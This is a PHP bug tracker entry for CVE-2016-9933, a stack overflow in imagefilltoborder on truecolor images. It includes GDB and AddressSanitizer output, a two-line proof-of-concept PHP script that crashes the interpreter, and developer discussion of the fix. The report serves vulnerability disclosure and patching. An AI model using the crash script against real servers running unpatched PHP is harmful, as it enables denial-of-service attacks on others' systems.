imagefilltoborder stackoverflow on truecolor images

Sec Bug #72696 imagefilltoborder stackoverflow on truecolor images
Submitted: 2016-07-28 06:11 UTC Modified: 2016-12-13 11:50 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: GD related
PHP Version: 5.6.27 OS: *
Private report: No CVE-ID: 2016-9933

 [2016-07-28 06:11 UTC] fernando at null-life dot com

Description:
------------
Description:
------------
Invalid color causes stack exhaustion by recursive call to function gdImageFillToBorder when the image used is truecolor. This was tested on a 64 bits platform.

This is not the same as bug #72350 but they are related.


GDB output
----------

gdb -q --args /home/operac/php-70-sinasan/sapi/cli/php -n poc.php
Reading symbols from /home/operac/php-70-sinasan/sapi/cli/php...done.
(gdb) b gd.c:1851
Breakpoint 1 at 0x54a354: gd.c:1851. (2 locations)
(gdb) b gd.c:1834
Breakpoint 2 at 0x54a287: gd.c:1834. (2 locations)
(gdb) r
Starting program: /home/operac/php-70-sinasan/sapi/cli/php -n poc.php


Breakpoint 1, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=0, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1851
1851                                            gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) c
Continuing.

Breakpoint 2, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=1, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1834
1834                                            gdImageFillToBorder(im, i, y - 1, border, color);
(gdb) c
Continuing.

Breakpoint 1, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=0, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1851
1851                                            gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) c
Continuing.

Breakpoint 2, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=1, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1834
1834                                            gdImageFillToBorder(im, i, y - 1, border, color);
(gdb) p/x color
$1 = 0xfffffffe

Test script:
---------------
<?php

$imgs = imagecreatetruecolor(10, 10);
imagefilltoborder($imgs, 0, 0, 1, 9223372036854775806);

Expected result:
----------------
No crash

Actual result:
--------------
operac@hp2:~/crashes/067b65f5-filltoborder$ sh run.sh 

ASAN:SIGSEGV
=================================================================
==5658==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd7b0bdf98 (pc 0x000000991208 bp 0x7ffd7b0be0e0 sp 0x7ffd7b0bdf98 T0)
    #0 0x991207 in php_gd_gdImageSetPixel /home/operac/php-70/ext/gd/libgd/gd.c:728
    #1 0x99cb00 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1810
    #2 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
    #3 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
    #4 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
    #5 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
    #6 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
    #7 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
    #8 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834


Patches

fix-72696 (last revision 2016-10-25 11:26 UTC by cmb@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports

 [2016-08-10 06:45 UTC] stas@php.net

-Assigned To: +Assigned To: pajoye

 [2016-08-10 06:45 UTC] stas@php.net

Looks like bug in libgd, negative colors are not set but border fill relies on them to be set. Pierre, could you please take a look?

 [2016-10-25 01:41 UTC] stas@php.net

-Assigned To: pajoye +Assigned To: cmb

 [2016-10-25 11:26 UTC] cmb@php.net

Indeed, filling with negative color values will not necessarily
work. For example, color -2 means gdStyled, and if no style is
set, no pixel will be drawn[1]. However, even if a style has been
set, the color that will be drawn is not necessarily the color
that gdImageFillToBorder() expects to be drawn.

Anyhow, this issue has already been fixed in libgd 2.2.3[2], where
it doesn't have been recognized as security issue, so I'm not sure
whether it should be regarded as security issue for PHP, or rather
as a programmer error.

Either way, the attached patch solves the issue and should be
applied against PHP 5.6+.

[1] <https://github.com/php/php-src/blob/PHP-7.0.12/ext/gd/libgd/gd.c#L729-L732>
[2] <https://github.com/libgd/libgd/commit/77f619d48259383628c3ec4654b1ad578e9eb40e>

 [2016-10-30 21:32 UTC] stas@php.net

-PHP Version: 7.0.9 +PHP Version: 5.6.27

 [2016-12-12 12:36 UTC] kaplan@php.net

-Status: Assigned +Status: Closed

 [2016-12-12 12:48 UTC] cmb@php.net

-Status: Closed +Status: Re-Opened

 [2016-12-12 13:49 UTC] cmb@php.net

-Status: Re-Opened +Status: Closed

 [2016-12-12 13:49 UTC] cmb@php.net

Indeed, you're right. Thanks!

 [2016-12-13 11:50 UTC] kaplan@php.net

-CVE-ID: needed +CVE-ID: 2016-9933

 [2016-12-13 11:50 UTC] kaplan@php.net

Use CVE-2016-9933. The scope of this CVE is only the missing "color < 0" test in older versions.